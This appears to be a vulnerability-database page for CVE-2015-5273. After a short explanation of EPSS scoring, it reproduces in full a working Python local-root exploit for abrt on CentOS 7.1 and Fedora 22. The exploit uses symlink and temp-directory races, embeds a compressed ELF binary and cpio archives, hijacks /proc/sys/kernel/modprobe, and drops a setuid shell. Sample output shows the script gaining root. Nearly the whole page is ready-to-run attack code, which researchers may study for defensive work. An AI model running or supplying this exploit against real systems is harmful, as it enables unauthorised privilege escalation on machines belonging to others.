CVE-2015-5273 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/python # CVE-2015-5273 + CVE-2015-5287 # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too) # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage # rebel 09/2015 # ---------------------------------------- # [user@localhost ~]$ id # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # [user@localhost ~]$ cat /etc/redhat-release # CentOS Linux release 7.1.1503 (Core) # [user@localhost ~]$ python abrt-centos-fedora.py # -- lots of boring output, might take a while on a slow connection -- # /var/spool/abrt/abrt-hax-coredump created # executing crashing process.. # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 import time,os,datetime,sys,resource,socket fedora = "Fedora" in open("/etc/redhat-release").read() # mkdir dir1 # ln -s /var/spool/abrt dir1/hax # mkdir dir2 # mkdir dir2/hax # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump # cd dir1 # find . -depth -print | cpio -o > ../cpio1 # cd ../dir2 # find . -depth -print | cpio -o > ../cpio2 cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip") cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@\x03\xc0\xb2+\xef@d\x99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip") if fedora: cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt") payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n" # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@x1\x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip") # most people don't have nasm installed so i preassembled it # if you're not brave enough to run the preassembled file, here's the code :) """ ; abrt-hax.asm ; nasm -f bin -o abrt-hax abrt-hax.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: inc esp cmp dword [esp],0x706d742f jne l or esp,0xfff inc esp mov edx,500 l3: mov ecx,msglen mov ebx,message sub esp,ecx l2: mov al,[ebx] mov [esp],al inc esp inc ebx loop l2 sub esp,msglen dec edx cmp edx,0 jne l3 mov eax,0x41414141 jmp eax message db '////////tmp/hax.sh',0x0a,0 msglen equ $-message """ build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1] os.chdir("/tmp") open("build_ids","w+").write(build_id + "\n") print build_id def child(): timestamp = int(time.time()) for i in xrange(0,3): try: t = datetime.datetime.fromtimestamp(timestamp+i) d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid()) os.mkdir(d) os.chmod(d,0777) os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio") print "created %s" % d except: pass os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y") try: os.mkfifo("/var/tmp/haxfifo") os.chmod("/var/tmp/haxfifo",0666) except: pass def fifo(a): print "reading from fifo.." open("/var/tmp/haxfifo").read() print "done" print "writing to fifo.." open("/var/tmp/haxfifo","w+").write(a) print "done" if os.fork() == 0: child() print "first cpio..." fifo(cpio1) os.wait() time.sleep(1) if os.fork() == 0: child() print "second cpio..." fifo(cpio2) os.wait() time.sleep(1) if fedora: sym = "/var/tmp/abrt/abrt-hax-coredump" else: sym = "/var/spool/abrt/abrt-hax-coredump" try: os.lstat(sym) except: print "could not create symlink" sys.exit(-1) print "%s created" % sym open("/tmp/abrt-hax","w+").write(elf) os.chmod("/tmp/abrt-hax",0755) if os.fork() == 0: resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,)) print "executing crashing process.." os.execle("/tmp/abrt-hax","",{}) os.wait() time.sleep(1) if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read(): print "could not modify /proc/sys/kernel/modprobe" sys.exit(-1) open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')